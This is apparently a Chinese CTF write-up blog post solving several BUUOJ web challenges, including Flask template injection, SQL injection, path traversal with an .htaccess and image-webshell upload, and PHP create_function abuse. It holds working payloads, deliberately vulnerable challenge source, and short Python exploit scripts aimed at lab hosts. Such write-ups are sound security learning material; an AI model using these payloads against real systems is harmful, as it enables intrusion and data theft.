Contents
[WesternCTF2018]shrine
打开后给了源码,python写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True) |
存在shrine目录盲猜一手ssti注入,
存在ssti,分析源码,发现app.config[‘FLAG’] = os.environ.pop(‘FLAG’) ,注册了一个flag的config,但是又过滤掉了config,还过滤掉了一手括号。
python还有一些内置函数,比如url_for和get_flashed_messages可以读一些信息。构造一下读取__globals__。
发现有一吨代码,从中发现了关键的 ‘current_app’: <Flask ‘app’>。读一下这个文件的config
[‘current_app’].config
flag就被包含在里面了
[RootersCTF2019]babyWeb
这题是真的没话说,基本没过滤的sql注入题
sqlmap跑了一年,发现还是没有flag,后来经队里师傅提醒
1||1=1 limit 1
获得flag
[BBCTF2020]imgaccess2
题很难,BUU有环境了,拿上来看着WP复现一下(y1ng师傅tttttql)
打开靶机,一个文件上传,测试后只能上传jpg,审查元素发现真实长传路径,猜测有文件遍历
经队里guoke师傅提醒,使用/的双url编码绕过并成功读取到文件。
因为是python写的,读一下app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | from flask import Flask, render_template, request, flash, redirect, send_file from urllib.parse import urlparse import re import os from hashlib import md5 import asyncio import requests app = Flask(__name__) app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads") # app.config['UPLOAD_FOLDER'] = "/uploads" app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024 app.secret_key = b'_5#y2L"F4Q8z\n\xec]/' ALLOWED_EXTENSIONS = {'png', 'jpg', 's'} if not os.path.exists(app.config['UPLOAD_FOLDER']): os.mkdir(app.config['UPLOAD_FOLDER']) def secure_filename(filename): return re.sub(r"(\.\.|/)", "", filename) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route("/") def index(): return render_template("home.html") @app.route("/upload", methods=["POST"]) def upload(): caption = request.form["caption"] file = request.files["image"] if file.filename == '': flash('No selected file') return redirect("/") elif not allowed_file(file.filename): flash('Please upload images only.') return redirect("/") else: if not request.headers.get("X-Real-IP"): ip = request.remote_addr else: ip = request.headers.get("X-Real-IP") dirname = md5(ip.encode()).hexdigest() filename = secure_filename(file.filename) upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname) if not os.path.exists(upload_directory): os.mkdir(upload_directory) upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename) file.save(upload_path) return render_template("uploaded.html", path = os.path.join(dirname, filename)) @app.route("/view/") def view(path): return render_template("view.html", path = path) @app.route("/uploads/") def uploads(path): # TODO(noob): # zevtnax told me use apache for static files. I've # already configured it to serve /uploads_apache but it # still needs testing. I'm a security noob anyways. return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path)) if __name__ == "__main__": app.run(port=5000) |
审计源码发现最后给了提示,上传的文件还会镜像上传到/uploads_apache下,还允许上传一个后缀名为 ‘s’的文件。想到.htaccess,那怎么把它变成’s’后缀呢
继续审计,发现secure_filename(file.filename)跟进函数发现
def secure_filename(filename):
return re.sub(r”(\.\.|/)”, “”, filename)
该函数会把文件名含有. / 的全部替换为空,那我们上传一个.htacces..s在上传一个图片马就可以getshell了
(没找到flag血亏)
经guoke师傅提醒,在内网里(为啥)
[SUCTF 2018]annonymous
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php $MY = create_function("","die(`cat flag.php`);"); $hash = bin2hex(openssl_random_pseudo_bytes(32)); eval("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}"); if(isset($_GET['func_name'])){ $_GET["func_name"](); die(); } show_source(__FILE__); |
源码很简单
我们只要执行$MY即可,可是怎么执行呢?
create_function()函数(create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用)有个漏洞:
在创建之后会生成一个函数名为:%00lambda_%d
%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了
写个脚本一直去刷新访问即可:
1 2 3 4 5 6 | import requests while True: r=requests.get('http://996ad41a-f4a1-4805-8de0-44f476747f11.node3.buuoj.cn/?func_name=%00lambda_1') if 'flag' in r.text: print(r.text) break |
过一会就会出flag了
那么create_function()函数还有什么漏洞呢?百度以后我们发现了这样的利用方式
如果我们的代码是这样
<?php $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "=============================="; ?>
假设我们传入?id=2;}phpinfo();/*
后台执行就变成了这样
源代码: function fT($a) { echo "test".$a; } 注入后代码: function fT($a) { echo "test";} phpinfo();/*;//此处为注入代码。 }
就可以执行我们的恶意命令了
参考:https://blog.csdn.net/dyw_666666/article/details/90042852
[b01lers2020]Scrambled
这题刚上的时候就见过了,利用点在cookie中transmissions中的值。写个脚本跑一下就出flag了
(借一下guoke师傅脚本)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | import requests from urllib.parse import unquote url='http://6db759d4-9ce6-4e40-9736-9b2f84b9540f.node3.buuoj.cn/' r=requests.session() cookie=r.get(url).cookies data=[0]*100 for i in range(300): cookie=r.get(url).cookies key=unquote(requests.utils.dict_from_cookiejar(cookie)['transmissions'].replace('kxkxkxkxsh',''))[2:] #print(key) value=unquote(requests.utils.dict_from_cookiejar(cookie)['transmissions'].replace('kxkxkxkxsh',''))[0:1] #print(value) data[int(key)]=value for i in data: print(i,end='') |